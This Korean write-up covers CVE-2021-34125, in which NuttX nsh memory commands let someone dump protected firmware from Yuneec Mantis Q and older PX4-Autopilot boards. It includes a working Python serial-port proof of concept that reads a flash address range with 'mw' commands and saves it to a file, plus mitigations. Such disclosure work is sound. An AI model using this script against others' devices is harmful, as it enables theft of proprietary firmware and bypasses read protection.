CVE-2021-34125
CVE-2021-34125의 내용은 해당 취약점 리포트를 참고하여 작성하였다.
https://github.com/PX4/PX4-Autopilot/issues/17062
Nsh Debug Commands Vulnerability Report · Issue #17062 · PX4/PX4-Autopilot
Nsh's mb, mh, and mw commands can leak intellectual property. Exploiting those commands makes it possible to extract firmware from the flash memory because mb, mh, and mw can read the firmware code...
github.com
NuttX 운영체제의 mb, mh, mw 명령어가 보안 취약점을 유발할 수 있다.
해당 명령어(mb, mh, mw)들은 임의의 위치에서 펌웨어 코드를 읽을 수 있어 플래시 메모리에서 펌웨어를 추출할 수 있게 한다.
가상업용 드론 제조업체인 Yuneec는 펌웨어를 보호하기 위해 하드웨어 읽기 보호를 적용했지만, NuttX의 명령어는 이를 우회할 수 있다.
취약 버전: Yuneec Mantis Q, PX4-Autopilot v 1.11.3 이하
해당 POC는 아래와 같다.
import serial
ser = serial.Serial(
port='COM7',\
baudrate=57600,\
parity=serial.PARITY_NONE,\
stopbits=serial.STOPBITS_ONE,\
bytesize=serial.EIGHTBITS,\
timeout=0)
f = open('output_db000.txt', 'wb')
for addr in range(0x080db000, 0x08200000, 0x1000):
count = 0
ser.write(b'mw ')
ser.write(bytes(hex(addr), 'ascii'))
ser.write(b' 1000\r\n')
print(hex(addr))
while True:
line = ser.readline()
f.write(line)
#print(line)
if(len(line) <= 5 and count != 0):
break
count += 1
f.close()
1. COM7 포트를 통해 직렬통신 설정
2.보드레이트, 패리티, 스톱비트, 데이터 비트 등 설정
3.추출한 데이터를 저장할 파일 생성
4.0x080db000 부터 0x08200000 의 주소범위를 0x1000씩 증가하면서 반복
5.mv 명령어를 통해 특정 주소에서 데이터를 받아들임
6.읽은 데이터를 파일에 기록하고, 읽어들인 데이터의 길이가 5 이하인 경우 반복 종료
해당 코드는 직렬포트를 통해 특정 주소 범위에서 펌웨어 데이터를 읽어와 파일로 저장한다.
이를 통해 보호된 펌웨어를 추출 할 수 있다.
해결 방안
(1) 소스 코드 주석 추가
(2) 컴파일 메시지 경고 표시
(3) 기본 구성에서 해당 명령 비활성화( CONFIG_NSH_DISABLE_MW=y)